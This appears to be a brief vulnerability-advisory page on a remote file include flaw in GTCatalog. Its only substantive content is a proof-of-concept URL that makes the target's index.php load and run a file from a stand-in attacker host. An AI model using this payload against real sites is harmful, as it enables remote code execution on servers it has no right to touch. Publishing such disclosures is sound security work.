• info
• discussion
• exploit
• solution
• references

GTCatalog Remote File Include Vulnerability

The following proof of concept was provided:

http://www.target.com/index.php?function=custom&custom=http://www.attacker.com/1.custom.inc